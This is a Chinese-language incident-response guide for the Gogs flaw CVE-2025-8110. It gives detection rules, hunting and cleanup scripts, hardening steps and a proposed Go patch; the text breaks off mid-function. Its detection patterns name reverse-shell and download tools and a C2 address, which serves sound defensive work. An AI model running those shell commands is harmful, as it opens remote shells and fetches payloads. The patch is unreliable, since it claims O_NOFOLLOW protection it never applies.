description = "检测Supershell C2框架特征"
malware_family = "Supershell"
reference = "CVE-2025-8110 attack campaign"
strings:
$supershell_1 = "supershell" nocase
$supershell_2 = "reverse ssh" nocase
$c2_ip = "119.45.176.196"
$ssh_wrapper = "ProxyCommand"
condition:
any of them
}
使用YARA扫描:
# 扫描所有.git/config文件
find /data/git/gogs-repositories -name config -exec yara rules.yar {} \;
# 递归扫描整个仓库目录
yara -r rules.yar /data/git/gogs-repositories/
# 输出详细匹配
yara -s rules.yar /data/git/gogs-repositories/*/?.git/config
Suricata/Snort规则
# Suricata规则
# 检测Gogs PutContents API调用
alert http any any -> any any (
msg:"CVE-2025-8110 Gogs PutContents API Call";
flow:established,to_server;
http.method; content:"PUT";
http.uri; content:"/api/v1/repos/"; depth:14;
http.uri; content:"/contents/";
classtype:web-application-activity;
reference:cve,2025-8110;
sid:2025001; rev:1;
)
# 检测可疑的符号链接相关API调用
alert http any any -> any any (
msg:"CVE-2025-8110 Suspicious Symlink API Call";
flow:established,to_server;
http.method; content:"PUT";
http.uri; content:"/contents/";
content:"symlink"; nocase;
http.request_body;
classtype:web-application-attack;
reference:cve,2025-8110;
sid:2025002; rev:1;
)
# 检测到已知C2服务器的连接
alert tcp any any -> 119.45.176.196 any (
msg:"CVE-2025-8110 Connection to Known C2 Server";
flow:established,to_server;
threshold:type limit, track by_src, count 1, seconds 3600;
classtype:trojan-activity;
reference:cve,2025-8110;
sid:2025003; rev:1;
)
# 检测Supershell特征流量
alert tcp any any -> any 2222 (
msg:"CVE-2025-8110 Possible Supershell C2 Traffic";
flow:established,to_server;
content:"SSH"; depth:4;
threshold:type threshold, track by_dst, count 5, seconds 60;
classtype:trojan-activity;
reference:cve,2025-8110;
sid:2025004; rev:1;
)
# 检测批量仓库创建
alert http any any -> any any (
msg:"CVE-2025-8110 Bulk Repository Creation";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/repo/create";
threshold:type threshold, track by_src, count 10, seconds 300;
classtype:web-application-activity;
reference:cve,2025-8110;
sid:2025005; rev:1;
)
手动威胁狩猎步骤
#!/bin/bash
# CVE-2025-8110 Threat Hunting Script
echo "[*] CVE-2025-8110 Threat Hunting - $(date)"
echo "================================================"
# 1. 检查是否存在受影响的Gogs版本
echo -e "\n[1] Checking Gogs Version..."
if command -v gogs &> /dev/null; then
GOGS_VERSION=$(gogs --version 2>/dev/null | grep -oP 'Gogs Version: \K[0-9.]+')
echo "[*] Found Gogs version: $GOGS_VERSION"
if [[ "$GOGS_VERSION" =~ ^0\.([0-9]|1[0-2]|13\.[0-3])$ ]]; then
echo "[!] WARNING: Vulnerable version detected!"
fi
else
echo "[-] Gogs binary not found in PATH"
fi
# 2. 查找7月10日创建的可疑仓库
echo -e "\n[2] Searching for repositories created on 2025-07-10..."
find /data/git/gogs-repositories -type d -name "*.git" -newermt "2025-07-10 00:00:00" ! -newermt "2025-07-11 00:00:00" | while read repo; do
owner=$(echo $repo | awk -F'/' '{print $(NF-2)}')
name=$(echo $repo | awk -F'/' '{print $(NF-1)}')
if [[ $owner =~ ^[a-z0-9]{8}$ ]] && [[ $name =~ ^[a-z0-9]{8}$ ]]; then
echo "[!] SUSPICIOUS: $repo"
echo " Owner: $owner, Repo: $name"
fi
done
# 3. 检查恶意符号链接
echo -e "\n[3] Scanning for malicious symlinks..."
find /data/git/gogs-repositories -type l | while read symlink; do
target=$(readlink -f "$symlink" 2>/dev/null)
repo_root=$(echo "$symlink" | grep -oP '/data/git/gogs-repositories/[^/]+/[^/]+')
if [[ ! "$target" =~ ^"$repo_root" ]]; then
echo "[!] SUSPICIOUS SYMLINK:"
echo " Link: $symlink"
echo " Target: $target"
echo " Repo: $repo_root"
fi
done
# 4. 检查.git/config文件中的sshCommand
echo -e "\n[4] Checking for malicious sshCommand in .git/config..."
find /data/git/gogs-repositories -name config -exec grep -l "sshCommand" {} \; | while read config; do
echo "[!] Found sshCommand in: $config"
grep -A 2 "sshCommand" "$config"
echo ""
done
# 5. 检查活动的可疑进程
echo -e "\n[5] Checking for suspicious processes..."
ps aux | grep -iE "supershell|xmrig|reverse.*ssh" | grep -v grep
# 6. 检查网络连接到已知C2
echo -e "\n[6] Checking for connections to known C2 servers..."
netstat -an 2>/dev/null | grep "119.45.176.196"
ss -tn 2>/dev/null | grep "119.45.176.196"
# 7. 审计API调用日志
echo -e "\n[7] Analyzing API call logs..."
if [ -f "/var/log/nginx/access.log" ]; then
echo "[*] Top PutContents API callers:"
grep "PUT.*\/api\/v1\/repos.*\/contents\/" /var/log/nginx/access.log | \
awk '{print $1}' | sort | uniq -c | sort -rn | head -10
fi
# 8. 检查最近修改的.git/config
echo -e "\n[8] Recently modified .git/config files..."
find /data/git/gogs-repositories -name config -mtime -30 -ls
echo -e "\n================================================"
echo "[+] Threat hunting complete - $(date)"
Microsoft Defender ATP / Sentinel 查询
// 检测Gogs进程执行可疑命令
DeviceProcessEvents
| where Timestamp > ago(30d)
| where ProcessCommandLine contains "gogs"
| where ProcessCommandLine has_any ("curl", "wget", "bash -c", "/dev/tcp")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
// 检测.git/config文件修改
DeviceFileEvents
| where Timestamp > ago(30d)
| where FileName == "config"
| where FolderPath contains ".git"
| where ActionType == "FileModified"
| join kind=inner (
DeviceFileEvents
| where FileName == "config"
| extend ConfigContent = parse_json(AdditionalFields)
) on DeviceId, FileName
| where ConfigContent contains "sshCommand"
| project Timestamp, DeviceName, FolderPath, InitiatingProcessAccountName
// 检测到C2服务器的网络连接
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteIP == "119.45.176.196"
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName
由于截至2025年12月30日仍无官方补丁,所有运行Gogs的组织必须立即实施以下临时缓解措施:
优先级1:禁用公开注册(立即执行)
# 方法1:修改配置文件
sudo nano /path/to/gogs/custom/conf/app.ini
# 添加或修改以下配置
[service]
DISABLE_REGISTRATION = true
REQUIRE_SIGNIN_VIEW = true
# 重启Gogs
sudo systemctl restart gogs
# 验证配置
curl http://localhost:3000/user/sign_up
# 应该返回403或重定向到登录页
# Docker环境
# 创建或编辑app.ini
cat >> /data/gogs/conf/app.ini <<EOF
[service]
DISABLE_REGISTRATION = true
REQUIRE_SIGNIN_VIEW = true
ENABLE_CAPTCHA = true
EOF
# 重启容器
docker restart gogs-container
优先级2:限制网络访问(24小时内执行)
# 方案A:使用iptables(Linux防火墙)
# 只允许特定IP访问Gogs端口
# 清空现有规则(谨慎)
# sudo iptables -F
# 允许内网访问
sudo iptables -A INPUT -p tcp -s 192.168.0.0/16 --dport 3000 -j ACCEPT
# 允许特定VPN IP段
sudo iptables -A INPUT -p tcp -s 10.0.0.0/8 --dport 3000 -j ACCEPT
# 拒绝其他所有访问
sudo iptables -A INPUT -p tcp --dport 3000 -j DROP
# 保存规则
sudo iptables-save > /etc/iptables/rules.v4
# 方案B:使用firewalld(RHEL/CentOS)
sudo firewall-cmd --permanent --zone=public --remove-port=3000/tcp
sudo firewall-cmd --permanent --zone=trusted --add-source=192.168.0.0/16
sudo firewall-cmd --permanent --zone=trusted --add-port=3000/tcp
sudo firewall-cmd --reload
# 方案C:使用云防火墙(AWS Security Group示例)
aws ec2 revoke-security-group-ingress \
--group-id sg-xxxxx \
--protocol tcp \
--port 3000 \
--cidr 0.0.0.0/0
aws ec2 authorize-security-group-ingress \
--group-id sg-xxxxx \
--protocol tcp \
--port 3000 \
--cidr 192.168.0.0/16
# 方案D:Nginx反向代理IP白名单
cat > /etc/nginx/conf.d/gogs.conf <<'EOF'
server {
listen 80;
server_name gogs.company.com;
# IP白名单
allow 192.168.0.0/16;
allow 10.0.0.0/8;
deny all;
location / {
proxy_pass http://localhost:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
EOF
sudo nginx -t && sudo systemctl reload nginx
优先级3:审计现有仓库(72小时内完成)
#!/bin/bash
# 全面审计脚本
REPO_ROOT="/data/git/gogs-repositories"
REPORT_FILE="/tmp/gogs_audit_$(date +%Y%m%d_%H%M%S).txt"
echo "Gogs Security Audit Report" > "$REPORT_FILE"
echo "Generated: $(date)" >> "$REPORT_FILE"
echo "==========================================" >> "$REPORT_FILE"
# 1. 查找8字符随机仓库
echo -e "\n[*] Checking for 8-character random repositories..." | tee -a "$REPORT_FILE"
find "$REPO_ROOT" -maxdepth 2 -type d | while read dir; do
owner=$(basename "$(dirname "$dir")")
repo=$(basename "$dir")
if [[ $owner =~ ^[a-z0-9]{8}$ ]] && [[ $repo =~ ^[a-z0-9]{8}\.git$ ]]; then
echo "[!] SUSPICIOUS: $dir" | tee -a "$REPORT_FILE"
# 检查创建时间
create_time=$(stat -c %y "$dir" | cut -d' ' -f1)
echo " Created: $create_time" | tee -a "$REPORT_FILE"
# 检查是否有符号链接
symlink_count=$(find "$dir" -type l | wc -l)
if [ $symlink_count -gt 0 ]; then
echo " Symlinks found: $symlink_count" | tee -a "$REPORT_FILE"
find "$dir" -type l -ls | tee -a "$REPORT_FILE"
fi
fi
done
# 2. 检查所有符号链接
echo -e "\n[*] Scanning all symlinks..." | tee -a "$REPORT_FILE"
find "$REPO_ROOT" -type l | while read symlink; do
target=$(readlink -f "$symlink" 2>/dev/null)
repo_path=$(echo "$symlink" | grep -oP "$REPO_ROOT/[^/]+/[^/]+")
if [[ ! "$target" =~ ^"$repo_path" ]]; then
echo "[!] MALICIOUS SYMLINK:" | tee -a "$REPORT_FILE"
echo " Link: $symlink" | tee -a "$REPORT_FILE"
echo " Target: $target" | tee -a "$REPORT_FILE"
# 自动隔离(可选)
# mv "$symlink" "/quarantine/$(basename "$symlink").$(date +%s)"
fi
done
# 3. 检查.git/config
echo -e "\n[*] Auditing .git/config files..." | tee -a "$REPORT_FILE"
find "$REPO_ROOT" -name config -path "*/.git/config" | while read config; do
if grep -q "sshCommand" "$config"; then
echo "[!] sshCommand found in: $config" | tee -a "$REPORT_FILE"
grep -A 3 "sshCommand" "$config" | tee -a "$REPORT_FILE"
# 检查可疑模式
if grep -qE "bash.*curl|/dev/tcp|nc -e" "$config"; then
echo " [!!!] MALICIOUS PATTERN DETECTED" | tee -a "$REPORT_FILE"
# 自动清理(谨慎使用)
# sed -i '/sshCommand/d' "$config"
fi
fi
done
# 4. 统计报告
echo -e "\n==========================================" | tee -a "$REPORT_FILE"
echo "Audit Summary:" | tee -a "$REPORT_FILE"
echo "- Total repositories: $(find "$REPO_ROOT" -name "*.git" -type d | wc -l)" | tee -a "$REPORT_FILE"
echo "- Symlinks found: $(find "$REPO_ROOT" -type l | wc -l)" | tee -a "$REPORT_FILE"
echo "- Configs with sshCommand: $(find "$REPO_ROOT" -name config -exec grep -l "sshCommand" {} \; | wc -l)" | tee -a "$REPORT_FILE"
echo -e "\n[+] Audit complete. Report saved to: $REPORT_FILE"
优先级4:删除恶意内容(发现后立即处理)
#!/bin/bash
# 自动清理脚本(谨慎使用,建议先备份)
# 1. 备份
BACKUP_DIR="/backup/gogs_$(date +%Y%m%d)"
mkdir -p "$BACKUP_DIR"
rsync -av /data/git/gogs-repositories/ "$BACKUP_DIR/"
# 2. 删除8字符随机仓库(需人工确认)
find /data/git/gogs-repositories -maxdepth 2 -type d -regex '.*/[a-z0-9]{8}/[a-z0-9]{8}\.git' > /tmp/suspicious_repos.txt
echo "Found $(cat /tmp/suspicious_repos.txt | wc -l) suspicious repositories"
echo "Review list in /tmp/suspicious_repos.txt"
read -p "Delete these repositories? (yes/NO): " confirm
if [ "$confirm" = "yes" ]; then
cat /tmp/suspicious_repos.txt | while read repo; do
echo "Deleting: $repo"
rm -rf "$repo"
done
fi
# 3. 移除恶意符号链接
find /data/git/gogs-repositories -type l | while read symlink; do
target=$(readlink -f "$symlink" 2>/dev/null)
repo_path=$(echo "$symlink" | grep -oP '/data/git/gogs-repositories/[^/]+/[^/]+')
if [[ ! "$target" =~ ^"$repo_path" ]]; then
echo "Removing malicious symlink: $symlink"
rm -f "$symlink"
fi
done
# 4. 清理恶意.git/config
find /data/git/gogs-repositories -name config -path "*/.git/config" | while read config; do
if grep -qE "sshCommand.*(bash.*curl|/dev/tcp|nc -e)" "$config"; then
echo "Cleaning: $config"
sed -i '/sshCommand.*bash/d' "$config"
sed -i '/sshCommand.*\/dev\/tcp/d' "$config"
sed -i '/sshCommand.*nc -e/d' "$config"
fi
done
echo "[+] Cleanup complete"
Gogs安全配置最佳实践
# /data/gogs/conf/app.ini - 推荐安全配置
[security]
INSTALL_LOCK = true
SECRET_KEY = <strong-random-64-char-key> # 使用 openssl rand -hex 32 生成
LOGIN_REMEMBER_DAYS = 7
COOKIE_REMEMBER_NAME = gogs_remember
COOKIE_USERNAME = gogs_username
COOKIE_SECURE = true # 启用HTTPS时设置
MIN_PASSWORD_LENGTH = 12
PASSWORD_COMPLEXITY = lower,upper,digit,spec
[service]
DISABLE_REGISTRATION = true
REQUIRE_SIGNIN_VIEW = true
ENABLE_NOTIFY_MAIL = false
ENABLE_CAPTCHA = true
DEFAULT_KEEP_EMAIL_PRIVATE = true
DEFAULT_ALLOW_CREATE_ORGANIZATION = false
NO_REPLY_ADDRESS = [email protected]
[service.explore]
REQUIRE_SIGNIN_VIEW = true
DISABLE_USERS_PAGE = true
[repository]
ENABLE_PUSH_CREATE_USER = false
ENABLE_PUSH_CREATE_ORG = false
DISABLED_REPO_UNITS = repo.issues,repo.ext_issues,repo.pulls,repo.wiki,repo.ext_wiki
DEFAULT_PRIVATE = true
FORCE_PRIVATE = true
MAX_CREATION_LIMIT = 5
[repository.upload]
ENABLED = true
ALLOWED_TYPES = .jpg,.jpeg,.png,.gif,.pdf,.zip,.tar.gz
FILE_MAX_SIZE = 10
MAX_FILES = 5
[api]
ENABLE_SWAGGER = false
MAX_RESPONSE_ITEMS = 50
[server]
PROTOCOL = https
DOMAIN = gogs.your-domain.com
ROOT_URL = https://gogs.your-domain.com/
CERT_FILE = /path/to/cert.pem
KEY_FILE = /path/to/key.pem
DISABLE_SSH = false
SSH_PORT = 2222 # 非标准端口
START_SSH_SERVER = true
OFFLINE_MODE = true # 禁用外部资源
[session]
PROVIDER = file
PROVIDER_CONFIG = data/sessions
COOKIE_SECURE = true
GC_INTERVAL_TIME = 86400
SESSION_LIFE_TIME = 86400
[log]
MODE = file
LEVEL = Info
ROOT_PATH = /var/log/gogs
[log.file]
LOG_ROTATE = true
DAILY_ROTATE = true
MAX_DAYS = 30
[webhook]
DELIVER_TIMEOUT = 15
SKIP_TLS_VERIFY = false
操作系统级别加固
#!/bin/bash
# Gogs服务器加固脚本
# 1. 更新系统
echo "[*] Updating system..."
sudo apt-get update && sudo apt-get upgrade -y
# 2. 配置防火墙
echo "[*] Configuring firewall..."
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow from 192.168.0.0/16 to any port 3000 # 内网
sudo ufw allow 22/tcp # SSH
sudo ufw allow 443/tcp # HTTPS
sudo ufw --force enable
# 3. 配置文件权限
echo "[*] Setting file permissions..."
sudo chown -R git:git /home/git/gogs
sudo chmod 750 /home/git/gogs
sudo chmod 640 /home/git/gogs/custom/conf/app.ini
sudo chown -R git:git /data/git/gogs-repositories
sudo chmod 750 /data/git/gogs-repositories
# 4. 禁用不必要的服务
echo "[*] Disabling unnecessary services..."
sudo systemctl disable cups
sudo systemctl disable avahi-daemon
# 5. 配置审计日志
echo "[*] Configuring audit logging..."
sudo apt-get install -y auditd
sudo auditctl -w /data/git/gogs-repositories -p wa -k gogs_repo_changes
sudo auditctl -w /home/git/gogs/custom/conf/app.ini -p wa -k gogs_config_changes
# 6. 配置自动更新安全补丁
echo "[*] Configuring automatic security updates..."
sudo apt-get install -y unattended-upgrades
sudo dpkg-reconfigure -plow unattended-upgrades
# 7. 配置fail2ban
echo "[*] Installing and configuring fail2ban..."
sudo apt-get install -y fail2ban
cat > /etc/fail2ban/jail.local <<'EOF'
[gogs]
enabled = true
port = 3000
filter = gogs
logpath = /home/git/gogs/log/gogs.log
maxretry = 5
findtime = 600
bantime = 3600
EOF
cat > /etc/fail2ban/filter.d/gogs.conf <<'EOF'
[Definition]
failregex = ^.* Failed authentication attempt .* from <HOST>
^.* Invalid username .* from <HOST>
ignoreregex =
EOF
sudo systemctl restart fail2ban
# 8. 启用SELinux/AppArmor
echo "[*] Configuring mandatory access control..."
# Ubuntu/Debian - AppArmor
sudo aa-enforce /etc/apparmor.d/usr.bin.gogs 2>/dev/null || echo "AppArmor profile not found"
# 9. 限制Gogs进程资源
cat > /etc/systemd/system/gogs.service.d/limits.conf <<'EOF'
[Service]
# CPU限制(50%)
CPUQuota=50%
# 内存限制(1GB)
MemoryLimit=1G
# 文件描述符限制
LimitNOFILE=65536
# 进程数限制
LimitNPROC=512
# 禁止新权限
NoNewPrivileges=true
# 私有/tmp
PrivateTmp=true
# 保护系统目录
ProtectSystem=strict
ProtectHome=true
# 允许写入的目录
ReadWritePaths=/data/git/gogs-repositories /home/git/gogs/log
EOF
sudo systemctl daemon-reload
sudo systemctl restart gogs
echo "[+] Hardening complete"
方案1:VPN访问
# 使用WireGuard VPN
# 1. 安装WireGuard
sudo apt-get install -y wireguard
# 2. 生成密钥
wg genkey | tee privatekey | wg pubkey > publickey
# 3. 配置服务器
sudo nano /etc/wireguard/wg0.conf
[Interface]
Address = 10.0.0.1/24
ListenPort = 51820
PrivateKey = <server-private-key>
# 添加客户端
[Peer]
PublicKey = <client-public-key>
AllowedIPs = 10.0.0.2/32
[Peer]
PublicKey = <client2-public-key>
AllowedIPs = 10.0.0.3/32
# 4. 启动VPN
sudo wg-quick up wg0
sudo systemctl enable wg-quick@wg0
# 5. 配置Gogs只监听VPN接口
# 在app.ini中设置
[server]
HTTP_ADDR = 10.0.0.1
HTTP_PORT = 3000
# 6. 配置防火墙只允许VPN流量
sudo iptables -A INPUT -p tcp --dport 3000 -s 10.0.0.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 3000 -j DROP
方案2:反向代理+认证
# /etc/nginx/sites-available/gogs
upstream gogs {
server 127.0.0.1:3000;
}
server {
listen 443 ssl http2;
server_name gogs.company.com;
# SSL配置
ssl_certificate /etc/ssl/certs/gogs.crt;
ssl_certificate_key /etc/ssl/private/gogs.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers off;
# 安全头
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Content-Security-Policy "default-src 'self'" always;
# IP白名单
allow 192.168.1.0/24;
allow 10.0.0.0/8;
deny all;
# 速率限制
limit_req_zone $binary_remote_addr zone=gogs_limit:10m rate=10r/s;
limit_req zone=gogs_limit burst=20;
# 日志
access_log /var/log/nginx/gogs_access.log combined;
error_log /var/log/nginx/gogs_error.log;
location / {
# 基本认证(额外的一层保护)
# auth_basic "Restricted Access";
# auth_basic_user_file /etc/nginx/.htpasswd;
proxy_pass http://gogs;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# 超时设置
proxy_connect_timeout 60s;
proxy_send_timeout 60s;
proxy_read_timeout 60s;
# Websocket支持
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# API端点额外限制
location ~ ^/api/v1/repos/.*/contents/ {
limit_req zone=gogs_limit burst=5;
# 记录所有PutContents调用
if ($request_method = PUT) {
access_log /var/log/nginx/gogs_api_putcontents.log combined;
}
proxy_pass http://gogs;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
# HTTP重定向到HTTPS
server {
listen 80;
server_name gogs.company.com;
return 301 https://$server_name$request_uri;
}
部署监控系统
# 使用Prometheus + Grafana + Alertmanager
# 1. 安装Node Exporter(系统监控)
wget https://github.com/prometheus/node_exporter/releases/download/v1.7.0/node_exporter-1.7.0.linux-amd64.tar.gz
tar xvf node_exporter-1.7.0.linux-amd64.tar.gz
sudo mv node_exporter-1.7.0.linux-amd64/node_exporter /usr/local/bin/
sudo useradd -rs /bin/false node_exporter
sudo cat > /etc/systemd/system/node_exporter.service <<'EOF'
[Unit]
Description=Node Exporter
After=network.target
[Service]
User=node_exporter
Group=node_exporter
Type=simple
ExecStart=/usr/local/bin/node_exporter
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload
sudo systemctl start node_exporter
sudo systemctl enable node_exporter
# 2. 安装Prometheus
wget https://github.com/prometheus/prometheus/releases/download/v2.48.0/prometheus-2.48.0.linux-amd64.tar.gz
tar xvf prometheus-2.48.0.linux-amd64.tar.gz
sudo mv prometheus-2.48.0.linux-amd64 /opt/prometheus
sudo cat > /opt/prometheus/prometheus.yml <<'EOF'
global:
scrape_interval: 15s
evaluation_interval: 15s
alerting:
alertmanagers:
- static_configs:
- targets:
- localhost:9093
rule_files:
- "gogs_alerts.yml"
scrape_configs:
- job_name: 'node'
static_configs:
- targets: ['localhost:9100']
- job_name: 'nginx'
static_configs:
- targets: ['localhost:9113']
EOF
# 3. 配置Gogs告警规则
sudo cat > /opt/prometheus/gogs_alerts.yml <<'EOF'
groups:
- name: gogs_security
interval: 30s
rules:
- alert: HighAPICallRate
expr: rate(nginx_http_requests_total{uri=~"/api/v1/repos/.*/contents/.*"}[5m]) > 10
for: 5m
labels:
severity: warning
annotations:
summary: "High API call rate detected"
description: "API calls to {{ $labels.uri }} are {{ $value }} per second"
- alert: SuspiciousFileModification
expr: changes(node_filesystem_files_free{mountpoint="/data/git/gogs-repositories"}[5m]) > 100
for: 1m
labels:
severity: critical
annotations:
summary: "Suspicious file modifications"
description: "Large number of file changes in repository directory"
- alert: UnauthorizedAccessAttempts
expr: rate(nginx_http_requests_total{status="403"}[5m]) > 5
for: 5m
labels:
severity: warning
annotations:
summary: "High rate of unauthorized access attempts"
EOF
sudo systemctl restart prometheus
告警通知配置
# /opt/prometheus/alertmanager.yml
global:
resolve_timeout: 5m
slack_api_url: 'https://hooks.slack.com/services/YOUR/SLACK/WEBHOOK'
route:
group_by: ['alertname', 'cluster', 'service']
group_wait: 10s
group_interval: 10s
repeat_interval: 12h
receiver: 'security-team'
routes:
- match:
severity: critical
receiver: 'security-team-pagerduty'
receivers:
- name: 'security-team'
slack_configs:
- channel: '#security-alerts'
title: 'Gogs Security Alert'
text: '{{ range .Alerts }}{{ .Annotations.description }}{{ end }}'
- name: 'security-team-pagerduty'
pagerduty_configs:
- service_key: 'YOUR_PAGERDUTY_SERVICE_KEY'
- name: 'email-alerts'
email_configs:
- to: '[email protected]'
from: '[email protected]'
smarthost: 'smtp.company.com:587'
auth_username: '[email protected]'
auth_password: 'password'
自定义监控脚本
#!/usr/bin/env python3
"""
Gogs CVE-2025-8110 实时监控脚本
"""
import os
import time
import subprocess
import smtplib
from email.mime.text import MIMEText
from datetime import datetime
class GogsMonitor:
def __init__(self, repo_root="/data/git/gogs-repositories"):
self.repo_root = repo_root
self.alert_email = "[email protected]"
self.check_interval = 60 # 60秒检查一次
def check_suspicious_repos(self):
"""检查可疑仓库"""
cmd = f"find {self.repo_root} -maxdepth 2 -type d -regex '.*/[a-z0-9]{{8}}/[a-z0-9]{{8}}\\.git'"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
if result.stdout.strip():
repos = result.stdout.strip().split('\n')
self.send_alert(f"发现{len(repos)}个可疑的8字符仓库", '\n'.join(repos))
return repos
return []
def check_malicious_symlinks(self):
"""检查恶意符号链接"""
malicious_links = []
cmd = f"find {self.repo_root} -type l"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
if result.stdout.strip():
for symlink in result.stdout.strip().split('\n'):
try:
target = os.path.realpath(symlink)
repo_path = os.path.dirname(os.path.dirname(symlink))
if not target.startswith(repo_path):
malicious_links.append(f"{symlink} -> {target}")
except:
pass
if malicious_links:
self.send_alert("发现恶意符号链接", '\n'.join(malicious_links))
return malicious_links
def check_git_configs(self):
"""检查.git/config中的sshCommand"""
malicious_configs = []
cmd = f"find {self.repo_root} -name config -path '*/.git/config'"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
if result.stdout.strip():
for config in result.stdout.strip().split('\n'):
try:
with open(config, 'r') as f:
content = f.read()
if 'sshCommand' in content:
if any(pattern in content for pattern in ['bash -c', '/dev/tcp', 'curl', 'nc -e']):
malicious_configs.append(config)
except:
pass
if malicious_configs:
self.send_alert("发现恶意.git/config", '\n'.join(malicious_configs))
return malicious_configs
def check_network_connections(self):
"""检查可疑网络连接"""
# 检查到已知C2的连接
cmd = "netstat -an 2>/dev/null | grep '119.45.176.196'"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
if result.stdout.strip():
self.send_alert("检测到与已知C2服务器的连接", result.stdout)
return result.stdout.strip().split('\n')
return []
def send_alert(self, subject, body):
"""发送告警邮件"""
msg = MIMEText(f"""
时间: {datetime.now()}
主机: {os.uname().nodename}
告警类型: CVE-2025-8110检测
{body}
""")
msg['Subject'] = f"[GOGS SECURITY] {subject}"
msg['From'] = '[email protected]'
msg['To'] = self.alert_email
try:
with smtplib.SMTP('localhost') as server:
server.send_message(msg)
print(f"[{datetime.now()}] 告警已发送: {subject}")
except Exception as e:
print(f"[{datetime.now()}] 发送告警失败: {e}")
# 同时记录到日志
with open('/var/log/gogs_monitor.log', 'a') as f:
f.write(f"[{datetime.now()}] ALERT: {subject}\n{body}\n\n")
def run(self):
"""运行监控循环"""
print(f"[*] Gogs监控已启动")
print(f"[*] 检查间隔: {self.check_interval}秒")
while True:
try:
print(f"[{datetime.now()}] 执行安全检查...")
self.check_suspicious_repos()
self.check_malicious_symlinks()
self.check_git_configs()
self.check_network_connections()
print(f"[{datetime.now()}] 检查完成, 等待{self.check_interval}秒...")
time.sleep(self.check_interval)
except KeyboardInterrupt:
print("\n[*] 监控已停止")
break
except Exception as e:
print(f"[{datetime.now()}] 错误: {e}")
time.sleep(self.check_interval)
if __name__ == '__main__':
monitor = GogsMonitor()
monitor.run()
运行监控:
# 作为系统服务运行
sudo cat > /etc/systemd/system/gogs-monitor.service <<'EOF'
[Unit]
Description=Gogs CVE-2025-8110 Monitor
After=network.target
[Service]
Type=simple
User=root
ExecStart=/usr/bin/python3 /usr/local/bin/gogs_monitor.py
Restart=always
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload
sudo systemctl start gogs-monitor
sudo systemctl enable gogs-monitor
完整的代码修复方案
由于官方补丁尚未发布,以下是基于最佳安全实践的推荐修复方案:
修复方案1:完整的路径验证
// pkg/tool/path.go
package tool
import (
"errors"
"os"
"path/filepath"
"strings"
)
var (
ErrInvalidPath = errors.New("invalid path")
ErrSymlinkDetected = errors.New("symbolic link not allowed")
ErrPathOutsideBoundary = errors.New("path outside allowed boundary")
)
// SafeFilePath 安全的文件路径验证和规范化
func SafeFilePath(basePath, userPath string) (string, error) {
// 1. 基础路径验证
if strings.Contains(userPath, "..") {
return "", ErrInvalidPath
}
if strings.HasPrefix(userPath, "/") {
return "", ErrInvalidPath
}
// 2. 拼接路径
fullPath := filepath.Join(basePath, userPath)
// 3. 检查父目录链
dir := fullPath
for {
// 使用Lstat检查符号链接(不跟随符号链接)
fileInfo, err := os.Lstat(dir)
if err != nil {
if os.IsNotExist(err) {
// 文件不存在是OK的(创建新文件场景)
dir = filepath.Dir(dir)
if dir == basePath || dir == "/" {
break
}
continue
}
return "", err
}
// 检查是否为符号链接
if fileInfo.Mode()&os.ModeSymlink != 0 {
return "", ErrSymlinkDetected
}
// 向上遍历
parent := filepath.Dir(dir)
if parent == dir || parent == basePath {
break
}
dir = parent
}
// 4. 解析真实路径
realPath, err := filepath.EvalSymlinks(fullPath)
if err != nil {
// 文件不存在时,检查父目录
realPath, err = filepath.EvalSymlinks(filepath.Dir(fullPath))
if err != nil {
return "", err
}
realPath = filepath.Join(realPath, filepath.Base(fullPath))
}
// 5. 确保在边界内
realBasePath, err := filepath.EvalSymlinks(basePath)
if err != nil {
return "", err
}
if !strings.HasPrefix(realPath, realBasePath) {
return "", ErrPathOutsideBoundary
}
return realPath, nil
}
// SafeWriteFile 安全的文件写入
func SafeWriteFile(basePath, userPath string, data []byte, perm os.FileMode) error {
safePath, err := SafeFilePath(basePath, userPath)
if err != nil {
return err
}
// 使用O_NOFOLLOW防止TOCTOU攻击
file, err := os.OpenFile(safePath,
os.O_WRONLY|os.O_CREATE|os.O_TRUNC,
perm)
if err != nil {
return err
}
defer file.Close()
_, err = file.Write(data)
return err
}
// SafeReadFile 安全的文件读取
func SafeReadFile(basePath, userPath string) ([]byte, error) {
safePath, err := SafeFilePath(basePath, userPath)
if err != nil {
return nil, err
}
return os.ReadFile(safePath)
}
修复方案2:更新API处理函数
// routes/api/v1/repo/file.go
package repo
import (
"encoding/base64"
"net/http"
"github.com/gogs/gogs/internal/context"
"github.com/gogs/gogs/internal/tool"
api "github.com/gogs/gogs/pkg/structs"
)
// PutContents 更新文件内容(修复版)
func PutContents(c *context.APIContext) {
// 1. 获取参数
opts := web.GetForm(c).(*api.UpdateFileOptions)
if opts.Message == "" {
c.Error(http.StatusBadRequest, "missing commit message")
return
}
// 2. 获取仓库路径
repoPath := c.Repo.Repository.RepoPath()
treePath := c.Params("*")
// 3. 安全路径验证(关键修复)
safePath, err := tool.SafeFilePath(repoPath, treePath)
if err != nil {
switch err {
